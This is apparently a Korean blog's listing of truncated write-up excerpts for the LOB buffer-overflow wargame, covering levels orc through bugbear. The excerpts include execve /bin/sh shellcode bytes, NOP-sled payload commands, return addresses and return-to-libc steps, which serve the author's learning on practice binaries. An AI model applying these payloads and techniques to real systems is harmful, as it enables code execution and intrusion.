System/LOB 14

[LOB_14]bugbear

bugbear // new divide RTL2문제이다. execve 주소를 얻고 ret이 execve가 아니라면 종료해 버린다. 그렇다면 execve를 활용하는 RTL을 이용해야한다. execve 함수는 어떤인자를 받는지 알아 보았다. 첫번째 인자는 실행시킬 파일명 두번째 인자는 포인터 배열 세번째 인자는 환경 변수 먼저 execve 의 주소를 확인해 보았다. execve()주소 : 0x400a9d48 (little endian : \x48\x9d\x0a\x40) 이후 쉘을 따낼 system, exit, system("/bin/sh")주소를 확인했다. system() 주소 : 0x40058ae0 (little endian : \xe0\x8a\x05\x40) exit() 주소 : 0x400391e0 (l..

System/LOB 2019.09.24

[LOB_13]darkknight

darkknight // new attacker 이번 bugbear의 경우에는 RTL1 이라고 힌트를 주고 있다. gdb 디버깅하여 print system 명령어를 이용해 system()의 주소를 알아낸다. system() 주소 : 0x40058ae0 (little endian : \xe0\x8a\x05\x40) // rtl.c #include int main(){ long system=0x40058ae0; while(memcmp((void *)system, "/bin/sh", 8)) system++; printf("%x\n",system); return 0; } system() 함수 메모리 내의 "/bin/sh" 메모리를 검색해서 주소를 출력해 주었다. /bin/sh 주소 : 0x400fbff9 (li..

System/LOB 2019.09.24

[LOB_12]golem

golem // cup of coffee ※ strncpy? 원하는 길이만큼 복사받을 수 있는 함수이다. 사용법은 strncpy(복사받을 변수명, 복사할 변수명, 복사할 길이) 이번 문제는 strcpy가 아닌 strncpy를 이용하여 지정된 버퍼크기만큼만 입력을 받는것을 공격하는 문제이다. 하지만 41바이트를 받아 버퍼오버플로우가 날수 있다. 먼저 FPO(Frame Pointer Overflow)에 대해 학습한뒤 원리를 이해하고 문제를 해결하였다. (참고 : https://bob3rdnewbie.tistory.com/188) 이 원리는 서브 함수 스택 SFP를 overflow를 통해 shellcode의 시작주소 - 4를 통해 넣어주준다. 페이로드를 작성해주면 ret를 할때 sfp 주소가 main으로 가는..

System/LOB 2019.09.24

[LOB_11]skeleton

skeleton // shellcoder 추가된 것은 stack destroyer! 버퍼부터 스택세그먼트 끝까지 모두 초기화 시킨다. export HA=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` 환경변수를 추가해 공격을 시도해 보았다. 주소 : 0xbf ff fe 8d (little endian : \x8d\xfe\xff\xbf) ./golem `python -c 'print "\x90"*47+"\xbf"'` `python -c 'print "\x90"*100+"\x8d\xfe\xff\xbf"'` 하지만 모두 ..

System/LOB 2019.09.24

[LOB_10]vampire

vampire // music world argc saver가 추가 되었다. 인자 갯수를 saved_argc에 저장해 놓고 memset으로 초기화 시켜버린다. 파일이름명, 인자들 모두 막힌 상태이다. ./skeleton `python -c 'print "A"*47+"\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` 혹시나 해서 간단하게 argv[1], argv[2] 를 넣어보았지만 memset으로 모두 초기화 되었다. argv[1], argv[2] 가 모두 초기화 되었기에 남은 방법인 argv[0] 심볼..

System/LOB 2019.09.24

[LOB_9]troll

troll // aspirin 코드를 보니 쉬워 보인다. 추가된것은 argv[1] 47번째 인자가 \xff 이라는 점. 대충 내가 그려본 메모리 구조와 예시의 세그먼트 구조는 다음과 같다. ( https://bob3rdnewbie.tistory.com/123 ) 지금 요구하는 것은 0xbf~로 시작하는 주소인데 0xbfffffff 는 스택 세그먼트 주소이다. 0xbfff 보다 작아야 한다. 그렇다면 다음과 같이 생각해 볼 수 있다. argv[1]를 크게 넣어도 되고 argv[1]과 적절한 값과 argv[2] 에 큰값들을 넣어주어도 된다. 페이로드 argv[1] : "A"*47 + "\xbf" argv[2] : "\x90"*10 + shellcode + "A"*0x10000 ./vampire `python..

System/LOB 2019.09.24

[LOB_8]orge

orge // timewalker argv[0],[1] 만 입력되게 되어있고, memset을 한번더 해준다! 일단 먼저 사본파일 tmp에 저장 ./troll `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*7+"\xbf"'` 세폴트(세그먼트폴트)가 떠 코어덤프를 해준다. 하지만 gdb로 확인을 해봤는데 one more ! 부분에서 memset를 한번더 해주어서 그 부분이 다 0으로 초기화 되었다. ./troll `python -c 'print "\x90"*43+"\xf9\xbf\x0f\x40\xbf"'` 혹시..

System/LOB 2019.09.24

[LOB_7]darkelf

darkelf // kernel crashed 소스코드는 다음과 같다. 전문제와 동일하고 하나하나 추가된다. 이번에 추가되는 부분은 요 녀석이다. argv[0]의 길이가 77개가 아니면 종료해버린다! argv[0]은 실행파일명이 저장되는 부분이다. 이 길이를 우회를 해야한다. (python -c 'print "A"*73';cat)|./orge `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*7+"\xbf"'` 이런 상상도 해보았지만 fail.. 알아보니 실행파일 경로명이 아무리 길어도 20자를 넘지 못하기에 ..

System/LOB 2019.09.24

[LOB_6]wolfman

wolfman // love eyuna 소스파일을 확인해 어떻게 구성되어있는지 확인해준다.여기서 프로세스안 스택에서 젤 주소가 높은위치에 환경변수들이 있는데 거기를 가리키는게 environ (환경변수에 대한 포인터) egghunter 로 인해 NULL 값이 나올 때 까지 환경변수에 0을 덮어 씌우니 환경변수는 쓸수없고 그리고 2번째 인자값의 48번째에는 \xbf 가 나와야 프로그램이 종류가 안되고buffer hunter 또한 있다.여기까진 전문제와 동일하다. 추가로 //check the length of argument 로 2번째 인자의 크기또한 막혔다. 가용한 부분 esp-=44를 해주었다. i는 우리가 사용할 버퍼가 아니니 40을 기억.| 여기 | ret | sfp | buffer |1번째 인자가 r..

System/LOB 2019.07.25

[LOB_5]orc

orc // cantata 소스파일을 확인해 어떻게 구성되어있는지 확인해준다.여기서 프로세스안 스택에서 젤 주소가 높은위치에 환경변수들이 있는데 거기를 가리키는게 environ (환경변수에 대한 포인터) egghunter 로 인해 NULL 값이 나올 때 까지 환경변수에 0을 덮어 씌우니 환경변수는 쓸수없다.여기까진 전문제와 동일하다.이 문제에서는 추가로 //buffer hunter 가 있다.그리고 2번째 인자값의 48번째에는 \xbf 가 나와야 프로그램이 종류가 안됨. 가용한 부분 esp-=44를 해주었다. i는 우리가 사용할 버퍼가 아니니 40을 기억.| 여기 | ret | sfp | buffer |환경변수를 이용하지 않으니 ret에 쉘코드를 가리키는 주소를 넣어준다. 근데 버퍼도 막혀있으니 빨간 부분..

System/LOB 2019.07.25